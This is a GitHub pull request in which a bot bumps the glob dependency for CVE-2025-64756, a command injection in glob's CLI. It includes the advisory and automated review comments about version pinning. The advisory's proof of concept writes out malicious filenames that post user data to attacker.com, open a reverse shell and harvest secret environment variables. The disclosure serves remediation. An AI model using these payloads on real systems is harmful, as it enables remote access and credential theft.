Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Nov 18, 2025

This PR contains the following updates:

Package Change Age Confidence
glob ^7.1.2 -> ^10.0.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-64756

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

  1. User runs glob -c <command> <pattern>
  2. CLI finds files matching the pattern
  3. Matched filenames are collected into an array
  4. Command is executed with matched filenames as arguments using shell: true
  5. Shell interprets metacharacters in filenames as command syntax
  6. Malicious filenames execute arbitrary commands

Affected Component:

  • CLI Only: The vulnerability affects only the command-line interface
  • Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
  • Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

  • Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
  • Any directory where attackers can control filenames (PR branches, archives, user uploads)
  • CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

  • The echo command executes normally
  • Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
  • A new file injected_poc is created, proving command execution
  • Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

  • Commands execute with full privileges of the user running glob CLI
  • No privilege escalation required - runs as current user
  • Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

  • Malicious PR adds files with crafted names to repository
  • CI pipeline uses glob -c to process files (linting, testing, deployment)
  • Commands execute in CI environment with build secrets and deployment credentials
  • Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

  • Developer clones repository or extracts archive containing malicious filenames
  • Local build scripts use glob -c for file processing
  • Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

  • Services using glob CLI to process uploaded files or external content
  • File uploads with malicious names trigger command execution
  • Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

  • Malicious packages or themes include files with crafted names
  • Build processes using glob CLI automatically process these files
  • Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

  • POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
  • Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
  • Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

  • Ecosystem: npm
  • Package name: glob
  • Component: CLI only (src/bin.mts)
  • Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
  • Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
  • Patched versions: 11.1.0and 10.5.0

Scope Limitation:

  • Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
  • CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

  • Upgrade to [email protected], [email protected], or higher, as soon as possible.
  • If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
  • As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

Release Notes

isaacs/node-glob (glob)

v10.5.0

Compare Source

v10.4.5

Compare Source

v10.4.4

Compare Source

v10.4.3

Compare Source

v10.4.2

Compare Source

v10.4.1

Compare Source

v10.4.0

Compare Source

v10.3.16

Compare Source

v10.3.15

Compare Source

v10.3.14

Compare Source

v10.3.13

Compare Source

v10.3.12

Compare Source

v10.3.11

Compare Source

v10.3.10

Compare Source

v10.3.9

Compare Source

v10.3.8

Compare Source

v10.3.7

Compare Source

v10.3.6

Compare Source

v10.3.5

Compare Source

v10.3.4

Compare Source

v10.3.3

Compare Source

v10.3.2

Compare Source

v10.3.1

Compare Source

v10.3.0

Compare Source

v10.2.7

Compare Source

v10.2.6

Compare Source

v10.2.5

Compare Source

v10.2.4

Compare Source

v10.2.3

Compare Source

v10.2.2

Compare Source

v10.2.1

Compare Source

v10.2.0

Compare Source

v10.1.0

Compare Source

v10.0.0

Compare Source

  • No default exports, only named exports

v9.3.5

Compare Source

v9.3.4

Compare Source

v9.3.3

Compare Source

  • Upgraded minimatch to v8, adding support for any degree of
    nested extglob patterns.

v9.3.2

Compare Source

v9.3.1

Compare Source

v9.3.0

Compare Source

v9.2.1

Compare Source

v9.2.0

Compare Source

v9.1.2

Compare Source

v9.1.1

Compare Source

v9.1.0

Compare Source

v9.0.2

Compare Source

v9.0.1

Compare Source

v9.0.0

Compare Source

v8.1.0

Compare Source

v8.0.3

Compare Source

v8.0.2

Compare Source

v8.0.1

Compare Source


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Summary by CodeRabbit

  • Chores
    • Updated development infrastructure dependencies to enhance compatibility with modern development tools and optimize build performance across all development environments. These routine maintenance updates strengthen internal development workflows and processes while preserving all backward compatibility. Changes are infrastructure-only with no impact to application features, core functionality, or end-user experience. No breaking changes introduced.

✏️ Tip: You can customize this high-level summary in your review settings.

@renovate renovate bot added the renovate label Nov 18, 2025
@coderabbitai
Copy link
Contributor

coderabbitai bot commented Nov 18, 2025

📝 Walkthrough

Walkthrough

The devDependency glob in src/test/vscode-notebook-perf/package.json was changed from ^7.1.2 to ^10.0.0. This modifies dependency resolution during package install for that test package only. No source files or exported/public API declarations were altered.

Sequence Diagram(s)

sequenceDiagram
    participant DevEnv as Development Env
    participant NPM as npm/Yarn Resolver
    participant Registry as Package Registry
    rect rgb(235,245,255)
      DevEnv->>NPM: run install (package.json)
      NPM->>Registry: request "glob@^10.0.0"
      Registry-->>NPM: return [email protected] (resolved)
      NPM-->>DevEnv: install resolved dependencies
    end
    note right of DevEnv: Old flow requested glob@^7.1.2 instead\n(resulting in [email protected])
Loading

Pre-merge checks

✅ Passed checks (3 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed Title clearly describes the main change: updating glob dependency to v10 for security reasons, matching the changeset's single package.json update.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.

📜 Recent review details

Configuration used: CodeRabbit UI

Review profile: ASSERTIVE

Plan: Pro

Disabled knowledge base sources:

  • Linear integration is disabled by default for public repositories

You can enable these sources in your CodeRabbit configuration.

📥 Commits

Reviewing files that changed from the base of the PR and between d645ea9 and 2f8059f.

⛔ Files ignored due to path filters (1)
  • src/test/vscode-notebook-perf/package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (1)
  • src/test/vscode-notebook-perf/package.json (1 hunks)

Warning

Review ran into problems

🔥 Problems

Errors were encountered while retrieving linked issues.

Errors (1)
  • CVE-2025: Entity not found: Issue - Could not find referenced Issue.

Comment @coderabbitai help to get the list of available commands and usage tips.

@codecov
Copy link

codecov bot commented Nov 18, 2025

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 0%. Comparing base (08a78a4) to head (2f8059f).

Additional details and impacted files
@@     Coverage Diff     @@
##   main   #210   +/-   ##
===========================
===========================
🚀 New features to boost your workflow:
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

Copy link
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

📜 Review details

Configuration used: CodeRabbit UI

Review profile: ASSERTIVE

Plan: Pro

Disabled knowledge base sources:

  • Linear integration is disabled by default for public repositories

You can enable these sources in your CodeRabbit configuration.

📥 Commits

Reviewing files that changed from the base of the PR and between 1cc979d and 38841e5.

⛔ Files ignored due to path filters (2)
  • package-lock.json is excluded by !**/package-lock.json
  • src/test/vscode-notebook-perf/package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (2)
  • package.json (1 hunks)
  • src/test/vscode-notebook-perf/package.json (1 hunks)
🔇 Additional comments (1)
package.json (1)

2504-2504: Confirm glob library API usage only; manual verification recommended.

Script search found no obvious glob CLI invocation with -c/--cmd flags in the codebase. However, absence of matches doesn't guarantee safety—indirect or dynamic invocation patterns may not appear in simple searches. Review the codebase manually to confirm:

  • glob is invoked via glob() or globSync() API calls only
  • No child_process calls (spawn/exec/execFile) invoke the glob CLI binary
  • No build or runtime scripts pass user-controlled data to glob CLI with -c or --cmd options

If all three checks pass, the upgrade to glob@^11.0.0 is safe.

package.json Outdated
"format-util": "^1.0.5",
"fs-extra": "^4.0.3",
"glob": "^9.3.5",
"glob": "^11.0.0",
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

Pin glob to ≥11.1.0 to ensure vulnerability fix is installed.

The caret range ^11.0.0 allows npm to install [email protected], which may still contain the vulnerability. Per the PR objectives, the fix is in [email protected]+. Update to ^11.1.0 or use >=11.1.0 <12.0.0 to guarantee the patched version.

-        "glob": "^11.0.0",
+        "glob": "^11.1.0",
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
"glob": "^11.0.0",
"glob": "^11.1.0",
🤖 Prompt for AI Agents
In package.json around line 2504, the dependency "glob" is pinned as "^11.0.0"
which allows installing vulnerable 11.0.0; change the version spec to "^11.1.0"
(or ">=11.1.0 <12.0.0") to ensure the patched release is used, then update your
lockfile (run npm install or yarn install) and commit the updated lockfile so CI
installs the fixed version.

@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from 38841e5 to dcd63c8 Compare November 19, 2025 23:42
@renovate renovate bot changed the title fix(deps): update dependency glob to v11 [security] fix(deps): update dependency glob to v10 [security] Nov 19, 2025
Copy link
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

♻️ Duplicate comments (1)
src/test/vscode-notebook-perf/package.json (1)

35-35: Pin glob to ^10.5.0 or ^11.1.0 to ensure vulnerability is patched.

Same issue as root package.json: the caret range ^10.0.0 allows npm to install vulnerable versions (10.3.7 through 10.4.x). Update to ^10.5.0 or ^11.1.0 per the PR security advisory.

-    "glob": "^10.0.0",
+    "glob": "^10.5.0",
📜 Review details

Configuration used: CodeRabbit UI

Review profile: ASSERTIVE

Plan: Pro

Disabled knowledge base sources:

  • Linear integration is disabled by default for public repositories

You can enable these sources in your CodeRabbit configuration.

📥 Commits

Reviewing files that changed from the base of the PR and between 38841e5 and dcd63c8.

⛔ Files ignored due to path filters (2)
  • package-lock.json is excluded by !**/package-lock.json
  • src/test/vscode-notebook-perf/package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (2)
  • package.json (1 hunks)
  • src/test/vscode-notebook-perf/package.json (1 hunks)

package.json Outdated
"format-util": "^1.0.5",
"fs-extra": "^4.0.3",
"glob": "^9.3.5",
"glob": "^10.0.0",
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

Pin glob to ^10.5.0 or ^11.1.0 to ensure vulnerability is patched.

The caret range ^10.0.0 permits installation of versions 10.3.7 through 10.4.x, which contain CVE-2025-64756. Per the PR objectives, the fix is available in [email protected] (v10 branch) or [email protected]+ (v11 branch). Update the version constraint to guarantee the patched version is installed.

-        "glob": "^10.0.0",
+        "glob": "^10.5.0",

Or use ^11.1.0 if you prefer the latest stable release with full v11 enhancements.

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
"glob": "^10.0.0",
"glob": "^10.5.0",
🤖 Prompt for AI Agents
In package.json around line 2504, the "glob" dependency is pinned to "^10.0.0"
which allows vulnerable 10.3.7–10.4.x versions; update the version constraint to
a patched release by changing it to either "^10.5.0" (v10 branch) or "^11.1.0"
(v11 branch) and then regenerate the lockfile (npm/yarn/pnpm install) to ensure
the patched version is recorded.

@renovate renovate bot changed the title fix(deps): update dependency glob to v10 [security] chore(deps): update dependency glob to v10 [security] Nov 24, 2025
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from dcd63c8 to 57eb9e2 Compare November 24, 2025 10:18
Copy link
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

📜 Review details

Configuration used: CodeRabbit UI

Review profile: ASSERTIVE

Plan: Pro

Disabled knowledge base sources:

  • Linear integration is disabled by default for public repositories

You can enable these sources in your CodeRabbit configuration.

📥 Commits

Reviewing files that changed from the base of the PR and between dcd63c8 and 57eb9e2.

⛔ Files ignored due to path filters (1)
  • src/test/vscode-notebook-perf/package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (1)
  • src/test/vscode-notebook-perf/package.json (1 hunks)

"@vscode/test-cli": "^0.0.8",
"@vscode/test-electron": "^2.3.9",
"glob": "^7.1.2",
"glob": "^10.0.0",
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

Update caret range to exclude vulnerable patch versions: glob@^10.5.0.

The caret range ^10.0.0 allows versions 10.0.0 through <11.0.0, which includes vulnerable versions 10.3.7–10.9.x (CVE-2025-64756). The security patch was introduced in [email protected]. Per the PR objectives, the remediation is to upgrade to [email protected] or later.

-    "glob": "^10.0.0",
+    "glob": "^10.5.0",
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
"glob": "^10.0.0",
"glob": "^10.5.0",
🤖 Prompt for AI Agents
In src/test/vscode-notebook-perf/package.json around line 35, the dependency
range "glob": "^10.0.0" permits vulnerable 10.x releases; change the version
spec to "glob": "^10.5.0" (or ">=10.5.0 <11.0.0") to ensure the security patch
is included, then regenerate lockfile (npm/yarn install) so package-lock.json or
yarn.lock is updated and run tests to verify nothing breaks.

@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch 5 times, most recently from 1c0d2f1 to d645ea9 Compare November 24, 2025 12:06
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from d645ea9 to 2f8059f Compare November 25, 2025 09:04
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant